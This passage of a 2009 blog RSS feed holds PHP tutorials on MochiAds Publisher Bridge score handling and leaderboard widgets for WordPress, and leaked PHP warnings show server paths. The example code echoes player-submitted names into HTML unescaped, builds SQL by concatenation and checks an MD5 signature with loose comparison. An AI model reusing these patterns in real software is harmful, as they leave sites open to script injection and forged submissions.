               <span style="color: #666666; font-style: italic;">// saving the entry in an array called &quot;game&quot;</span>
               <span style="color: #000088;">$game</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$wpdb</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">get_results</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$query</span><span style="color: #339933;">,</span>ARRAY_A<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
               <span style="color: #666666; font-style: italic;">// if the entry has a blog_id...</span>
               <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$game</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span>blog_id<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                    <span style="color: #666666; font-style: italic;">// selecting the post in the wp post table with the same id as the game found in the mochi games table</span>
                    <span style="color: #000088;">$query</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;select * from &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wpdb</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">prefix</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;posts where ID = &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$game</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span>blog_id<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
                    <span style="color: #666666; font-style: italic;">// saving the entry in a variable called &quot;post&quot;</span>
                    <span style="color: #000088;">$post</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$wpdb</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">get_results</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$query</span><span style="color: #339933;">,</span>ARRAY_A<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                    <span style="color: #666666; font-style: italic;">// printing the entry in the theme</span>
                    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;li&gt;&lt;span class = <span style="color: #000099; font-weight: bold;">\&quot;</span>turnwhite<span style="color: #000099; font-weight: bold;">\&quot;</span>&gt;<span style="color: #006699; font-weight: bold;">$score[name]</span>&lt;/span&gt; just scored &lt;span class = <span style="color: #000099; font-weight: bold;">\&quot;</span>turnwhite<span style="color: #000099; font-weight: bold;">\&quot;</span>&gt;<span style="color: #006699; font-weight: bold;">$score[score]</span>&lt;/span&gt; on &lt;a href = <span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$post</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span>guid<span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span>&gt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$game</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span>name<span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;/a&gt;&lt;/li&gt;&quot;</span><span style="color: #339933;">;</span>
               <span style="color: #009900;">&#125;</span>
          <span style="color: #009900;">&#125;</span>
          <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;/ul&gt;&quot;</span><span style="color: #339933;">;</span>
     <span style="color: #009900;">&#125;</span>
     <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;/li&gt;&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> init_mochi_lastscores<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
     register_sidebar_widget<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Mochi Last Scores&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;mochi_lastscores_widget&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>     
<span style="color: #009900;">&#125;</span>
&nbsp;
add_action<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;plugins_loaded&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;init_mochi_lastscores&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>And you can find the result in the left sidebar in my <a href="http://www.triqui.com/" target = "_blank">triqui.com</a> portal.</p>
<p>This feature will be added in my next <a href="http://www.emanueleferonato.com/triqui-mochiads-arcade-theme-for-wordpress-official-page/">Triqui MochiAds Arcade theme for WordPress</a> update, but meanwhile you can easily set it up on your own.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.emanueleferonato.com/2009/08/24/understanding-mochiads-publisher-bridge-%e2%80%93-part-3/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Triqui MochiAds Arcade plugin for WordPress upgraded to 1.1</title>
		<link>http://www.emanueleferonato.com/2009/08/19/triqui-mochiads-arcade-plugin-for-wordpress-updated-to-1-1/</link>
		<comments>http://www.emanueleferonato.com/2009/08/19/triqui-mochiads-arcade-plugin-for-wordpress-updated-to-1-1/#comments</comments>
		<pubDate>Wed, 19 Aug 2009 09:53:26 +0000</pubDate>
		<dc:creator>Emanuele Feronato</dc:creator>
				<category><![CDATA[Monetize]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.emanueleferonato.com/?p=1553</guid>
		<description><![CDATA[Yesterday MochiMedia launched new micro-transactions revenue share for Mochi publishers, that will allow Mochi publishers to earn 10% Coins affiliate revenue from new fundings that take place on their site.
Publishers will also have the opportunity to earn additional 10% of all transactions taking place on their site in games in cases where the developer has [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday <a href="https://www.mochimedia.com/r/972ae333a3c92a2a" target = "_blank">MochiMedia</a> launched <a href="http://mochiland.com/articles/new-micro-transactions-revenue-share-for-mochi-publishers" target = "_blank">new micro-transactions revenue share for Mochi publishers</a>, that will allow Mochi publishers to earn 10% Coins affiliate revenue from new fundings that take place on their site.</p>
<p>Publishers will also have the opportunity to earn additional 10% of all transactions taking place on their site in games in cases where the developer has opted-in to share micro-transactions revenue with publishers. </p>
<p>In order to do this, <a href="https://www.mochimedia.com/r/972ae333a3c92a2a" target = "_blank">MochiMedia</a> changed the feed used for parsing games, so I upgraded the <a href="http://www.emanueleferonato.com/triqui-mochiads-arcade-plugin-for-wordpress-official-page/">Triqui MochiAds Arcade plugin for WordPress</a> to version 1.1 in order to make it compatible with the new features.</p>
<p>I made some other minor improvements, check for 1.1 upgrades in the <a href="http://www.emanueleferonato.com/triqui-mochiads-arcade-plugin-for-wordpress-official-page/">official page</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.emanueleferonato.com/2009/08/19/triqui-mochiads-arcade-plugin-for-wordpress-updated-to-1-1/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Understanding MochiAds Publisher Bridge &#8211; Part 2</title>
		<link>http://www.emanueleferonato.com/2009/08/17/understanding-mochiads-publisher-bridge-part-2/</link>
		<comments>http://www.emanueleferonato.com/2009/08/17/understanding-mochiads-publisher-bridge-part-2/#comments</comments>
		<pubDate>Mon, 17 Aug 2009 21:04:16 +0000</pubDate>
		<dc:creator>Emanuele Feronato</dc:creator>
				<category><![CDATA[Php]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.emanueleferonato.com/?p=1541</guid>
		<description><![CDATA[This is the second part of Understanding MochiAds Publisher Bridge.
In the first step I showed you how to configure a cross-domain policy file, calling the javascript and send the results to a webpage.
Now it&#8217;s time to prevent cheating.
As you can see, it&#8217;s very easy to send some POST variables to a webpage, and it&#8217;s even [...]]]></description>
			<content:encoded><![CDATA[<p>This is the second part of <a href="http://www.emanueleferonato.com/2009/07/16/understanding-mochiads-publisher-bridge/">Understanding MochiAds Publisher Bridge</a>.</p>
<p>In the first step I showed you how to configure a cross-domain policy file, calling the javascript and send the results to a webpage.</p>
<p>Now it&#8217;s time to prevent cheating.</p>
<p>As you can see, it&#8217;s very easy to send some POST variables to a webpage, and it&#8217;s even easier to do it when you know the name of such webpage&#8230; and in our case you can know it simply looking at the html.</p>
<p>If you look at the html of the page containing <a href="http://www.triqui.com/2009/06/19/mazeroll/" target = "_blank">Mazeroll</a>, it&#8217;s clear the name of the page I send the POST array to is <code>postscores.php</code>.</p>
<p>So we have to prevent cheating.</p>
<p>That&#8217;s why in your <a href="https://www.mochimedia.com/r/972ae333a3c92a2a" target = "_blank">MochiAds</a> publisher settings page you&#8217;ll find a secret key that can be used to authenticate the score data sent from the Bridge to your server.</p>
<p>In your POST variables you can find one called <code>signature</code>.<span id="more-1541"></span></p>
<p>This is an MD5 hash of the POST vars + your secret key. So the MD5 hash of the POST vars + your secret key and the signature must match.</p>
<p>In order to use this for authentication, you have to follow these steps:</p>
<ol>
<li>Populate an array of all parameter names as keys and their values</li>
<li>Remove out the signature parameter</li>
<li>Sort the array alphabetically by the key name</li>
<li>Turn the array into a url encoded string</li>
<li>Append your secret key</li>
<li>Compute the MD5 hash with the string</li>
<li>compare your MD5 hash with the signature parameter sent by the Bridge</li>
</ol>
<p>So I prepared this little script that does the job:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// your secret key</span>
<span style="color: #000088;">$key</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;xxxxxxxxxxxxxxxxxxxxxxxxxx&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// initializing an empty string - not strictly necessary</span>
<span style="color: #000088;">$string</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// ordering the associative POST array by keys</span>
<span style="color: #990000;">ksort</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// loop scanning through all POST array</span>
<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$varname</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$varvalue</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
     <span style="color: #666666; font-style: italic;">// if the key is not &quot;signature&quot; then append key and url encoded values to the string</span>
     <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$varname</span><span style="color: #339933;">!=</span><span style="color: #0000ff;">&quot;signature&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
          <span style="color: #000088;">$string</span><span style="color: #339933;">.=</span><span style="color: #000088;">$varname</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;=&quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">rawurlencode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$varvalue</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&amp;&quot;</span><span style="color: #339933;">;</span>
     <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// removing the last character (a &quot;&amp;&quot;&quot;)</span>
<span style="color: #000088;">$string</span> <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// appeding the secret key to the string</span>
<span style="color: #000088;">$string</span><span style="color: #339933;">.=</span> <span style="color: #000088;">$key</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// comparing the md5 encryption of the string with the &quot;signature&quot; variable</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span>signature<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
     <span style="color: #666666; font-style: italic;">// it's a valid submission!</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>Now you can check for valid submissions, next time I&#8217;ll show you what to do with them</p>
]]></content:encoded>
			<wfw:commentRss>http://www.emanueleferonato.com/2009/08/17/understanding-mochiads-publisher-bridge-part-2/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Understanding MochiAds Publisher Bridge</title>
		<link>http://www.emanueleferonato.com/2009/07/16/understanding-mochiads-publisher-bridge/</link>
		<comments>http://www.emanueleferonato.com/2009/07/16/understanding-mochiads-publisher-bridge/#comments</comments>
		<pubDate>Thu, 16 Jul 2009 14:42:58 +0000</pubDate>
		<dc:creator>Emanuele Feronato</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.emanueleferonato.com/?p=1427</guid>
		<description><![CDATA[<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>1904</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>1904</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>2257</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3206</b><br />
<br />
<b>Warning</b>:  implode() [<a href='function.implode'>function.implode</a>]: Argument must be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3258</b><br />
<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3289</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3289</b><br />
<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3332</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3332</b><br />
<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3477</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3477</b><br />
Now that you have a WordPress theme and plugin in order to set uo your own MochiAds arcade site like triqui.com, let&#8217;s see how we can add some interesting features with the Publisher Bridge.
Every step explained in this tutorial will be included in the next upgrade of Triqui MochiAds Arcade  theme, but it&#8217;s very [...]]]></description>
			<content:encoded><![CDATA[<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>1904</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>1904</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>2257</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3206</b><br />
<br />
<b>Warning</b>:  implode() [<a href='function.implode'>function.implode</a>]: Argument must be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3258</b><br />
<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3289</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3289</b><br />
<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3332</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3332</b><br />
<br />
<b>Warning</b>:  array_keys() [<a href='function.array-keys'>function.array-keys</a>]: The first argument should be an array in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3477</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/triqui/public_html/emanueleferonato.com/wp-content/plugins/wp-syntax/geshi/geshi.php</b> on line <b>3477</b><br />
<p>Now that you have a WordPress <a href="http://www.emanueleferonato.com/triqui-mochiads-arcade-theme-for-wordpress-official-page/">theme</a> and <a href="http://www.emanueleferonato.com/triqui-mochiads-arcade-plugin-for-wordpress-official-page/">plugin</a> in order to set uo your own <a href="https://www.mochiads.com/r/972ae333a3c92a2a" target = "_blank">MochiAds</a> arcade site like <a href="http://www.triqui.com/" target = "_blank">triqui.com</a>, let&#8217;s see how we can add some interesting features with the Publisher Bridge.</p>
<p>Every step explained in this tutorial will be included in the next upgrade of <a href="http://www.emanueleferonato.com/triqui-mochiads-arcade-theme-for-wordpress-official-page/">Triqui MochiAds Arcade  theme</a>, but it&#8217;s very interesting to see how does it work in order to custom it or install it in your own arcade site.</p>
<p>First, let me explain why you should use the Publisher Bridge&#8230; the reasons are listed in the <a href="https://www.mochiads.com/support/pub_docs" target = "_blank">official page</a>:</p>
<ol>
<li>Leverage the hundreds of MochiAds leaderboard enabled games to attract new players.</li>
<li>Receive new traffic &#8211; MochiAds’ Challenges feature will drive new players back to your site to compete in top scores.</li>
<li>Build exciting site features – Save player scoring info for all MochiAds leaderboard-enabled games.</li>
<li>Encourage competition – In-game scores are listed for your community only.</li>
<li>Maintain consistency – Display your own community usernames when players post scores.</li>
<li>Promote your brand – Put your site logo directly in the game.</li>
</ol>
<p>but, as usual, it&#8217;s up to your creativity finding the best way to use them.</p>
<p><strong>Cross-domain policy</strong></p>
<p>From the <a href="http://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html" target = "_blank">Cross-domain policy file specification</a> you cana cross-domain policy file is an XML document that grants a web client &#8211; such as Adobe Flash Player (though not necessarily limited to it) &#8211; permission to handle data across multiple domains. When a client hosts content from a particular source domain and that content makes requests directed towards a domain other than its own, the remote domain would need to host a cross-domain policy file that grants access to the source domain, allowing the client to continue with the transaction.</p>
<p>So the first thing you should do is to create a file called <code>crossdomain.xml</code> in your root, with this content:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;?xml</span> <span style="color: #000066;">version</span>=<span style="color: #ff0000;">&quot;1.0&quot;</span><span style="color: #000000; font-weight: bold;">?&gt;</span></span>
<span style="color: #00bbdd;">&lt;!DOCTYPE cross-domain-policy SYSTEM</span>
<span style="color: #00bbdd;">&quot;http://www.adobe.com/xml/dtds/cross-domain-policy.dtd&quot;&gt;</span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;cross-domain-policy<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
     <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;site-control</span> <span style="color: #000066;">permitted-cross-domain-policies</span>=<span style="color: #ff0000;">&quot;master-only&quot;</span><span style="color: #000000; font-weight: bold;">/&gt;</span></span>
     <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;allow-access-from</span> <span style="color: #000066;">domain</span>=<span style="color: #ff0000;">&quot;x.mochiads.com&quot;</span><span style="color: #000000; font-weight: bold;">/&gt;</span></span>
     <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;allow-access-from</span> <span style="color: #000066;">domain</span>=<span style="color: #ff0000;">&quot;www.mochiads.com&quot;</span><span style="color: #000000; font-weight: bold;">/&gt;</span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/cross-domain-policy<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></pre></td></tr></table></div>

<p>This will allow Mochi client to communicate with your server.</p>
<p><strong>Javascript call</strong></p>
<p>Once your server is able to communicate, you need to insert the javascript provided by Mochi in the same page where you host (or leech) a game.</p>
<p>You don&#8217;t need to know if the game has a leaderboard, if the game does not support highscores, nothing will happen.</p>
<p>This is the one I used:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;">&lt;script src=&quot;http://xs.mochiads.com/static/pub/swf/leaderboard.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
               <span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span>var options <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span>partnerID<span style="color: #339933;">:</span> <span style="color: #3366CC;">&quot;3b7a2ab2368e1d2d&quot;</span><span style="color: #339933;">,</span> id<span style="color: #339933;">:</span> <span style="color: #3366CC;">&quot;leaderboard_bridge&quot;</span><span style="color: #339933;">,</span>globalScores<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;true&quot;</span><span style="color: #339933;">,</span>gateway <span style="color: #339933;">:</span> <span style="color: #3366CC;">&quot;http://www.triqui.com/wp-content/themes/triqui/postscores.php&quot;</span><span style="color: #339933;">,</span>callback <span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span>params<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'latest'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">innerHTML</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;Your latest score: &quot;</span><span style="color: #339933;">+</span>params.<span style="color: #660066;">score</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span> Mochi.<span style="color: #660066;">addLeaderboardIntegration</span><span style="color: #009900;">&#40;</span>options<span style="color: #009900;">&#41;</span><span style="color: #339933;">;&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></td></tr></table></div>

<p>I used only a few options among the ones provided by Mochi, let me explain them:</p>
<p><strong>partnerID</strong>: this is the ID <a href="https://www.mochiads.com/r/972ae333a3c92a2a" target = "_blank">MochiAds</a> gave you when you signed up as a publisher. Remember: the Publisher ID, not the Publisher Secret Key!!!</p>
<p><strong>id</strong>: The id of the HTML element you want to place the Bridge SWF into. Place such element wherever you want, it&#8217;s not important since it does not contain anything.</p>
<p><strong>globalScores</strong>: Set to <code>true</code> if you wish to display global scores and not just those submitted from your site. I recommend to set it to <code>true</code> if your portal does not have that much visits per day (under 10,000).</p>
<p><strong>gateway</strong>: the absolute path of a file that will receive posted data with <code>POST</code> method. I&#8217;ll explain how to use such data in next tutorial</p>
<p><strong>callback</strong>: a JavaScript function which will be called when the player submits a score. In my case, I simply display in the page the latest score the player got, but obviously you can use Ajax to improve the interactivity.</p>
<p>Try to see it in action playing a leaderboard enabled game on <a href="http://www.triqui.com/" target = "_blank">Triqui.com</a>, such as <a href="http://www.triqui.com/2009/06/19/mazeroll/" target = "_blank">Mazeroll</a> and see what happens when you submit a score.</p>
<p>But the most exciting feature lies in the gateway: having all score data in the POST array will allow you to create custom leaderboards and some other interesting things I&#8217;ll explain during next tutorial.</p>
<p>Meanwhile, look at the variables the bridge passes to <code>postscores.php</code> page when I submit a score, obtained with a simple <code>var_dump</code>:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
</pre></td><td class="code"><pre class="" style="font-family:monospace;">array<span class="br0">&#40;</span><span style="">14</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
  <span class="br0">&#91;</span>&quot;signature&quot;<span class="br0">&#93;</span>=&gt;
  string<span class="br0">&#40;</span><span style="">32</span><span class="br0">&#41;</span> &quot;<span class="br0">&#40;</span>had to omit it<span class="br0">&#41;</span>&quot;
  <span class="br0">&#91;</span>&quot;sessionID&quot;<span class="br0">&#93;</span>=&gt;
  string<span class="br0">&#40;</span><span style="">0</span><span class="br0">&#41;</span> &quot;&quot;
  <span class="br0">&#91;</span>&quot;userID&quot;<span class="br0">&#93;</span>=&gt;
  string<span class="br0">&#40;</span><span style="">0</span><span class="br0">&#41;</span> &quot;&quot;
  <span class="br0">&#91;</span>&quot;username&quot;<span class="br0">&#93;</span>=&gt;
  string<span class="br0">&#40;</span><span style="">0</span><span class="br0">&#41;</span> &quot;&quot;
  <span class="br0">&#91;</span>&quot;scoreLabel&quot;<span class="br0">&#93;</span>=&gt;
  string<span class="br0">&#40;</span><span style="">6</span><span class="br0">&#41;</span> &quot;Points&quot;
  <span class="br0">&#91;</span>&quot;sortOrder&quot;<span class="br0">&#93;</span>=&gt;
  string<span class="br0">&#40;</span><span style="">4</span><span class="br0">&#41;</span> &quot;desc&quot;
  <span class="br0">&#91;</span>&quot;datatype&quot;<span class="br0">&#93;</span>=&gt;
  string<span class="br0">&#40;</span><span style="">6</span><span class="br0">&#41;</span> &quot;number&quot;
  <span class="br0">&#91;</span>&quot;description&quot;<span class="br0">&#93;</span>=&gt;
  string<span class="br0">&#40;</span><span style="">0</span><span class="br0">&#41;</span> &quot;&quot;
  <span class="br0">&#91;</span>&quot;title&quot;<span class="br0">&#93;</span>=&gt;
  string<span class="br0">&#40;</span><span style="">10</span><span class="br0">&#41;</span> &quot;Highscores&quot;
  <span class="br0">&#91;</span>&quot;gameID&quot;<span class="br0">&#93;</span>=&gt;
  string<span class="br0">&#40;</span><span style="">16</span><span class="br0">&#41;</span> &quot;98c536dbf70a1cbc&quot;
  <span class="br0">&#91;</span>&quot;boardID&quot;<span class="br0">&#93;</span>=&gt;
  string<span class="br0">&#40;</span><span style="">32</span><span class="br0">&#41;</span> &quot;4b2ac948de239f8853a3bc6a1b771d9d&quot;
  <span class="br0">&#91;</span>&quot;name&quot;<span class="br0">&#93;</span>=&gt;
  string<span class="br0">&#40;</span><span style="">4</span><span class="br0">&#41;</span> &quot;ququ&quot;
  <span class="br0">&#91;</span>&quot;score&quot;<span class="br0">&#93;</span>=&gt;
  string<span class="br0">&#40;</span><span style="">3</span><span class="br0">&#41;</span> &quot;<span style="">520</span>&quot;
  <span class="br0">&#91;</span>&quot;lcId&quot;<span class="br0">&#93;</span>=&gt;
  string<span class="br0">&#40;</span><span style="">1</span><span class="br0">&#41;</span> &quot;<span style="">1</span>&quot;
<span class="br0">&#125;</span></pre></td></tr></table></div>

<p>Next time I&#8217;ll show you how to use these values.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.emanueleferonato.com/2009/07/16/understanding-mochiads-publisher-bridge/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
	</channel>
</rss>
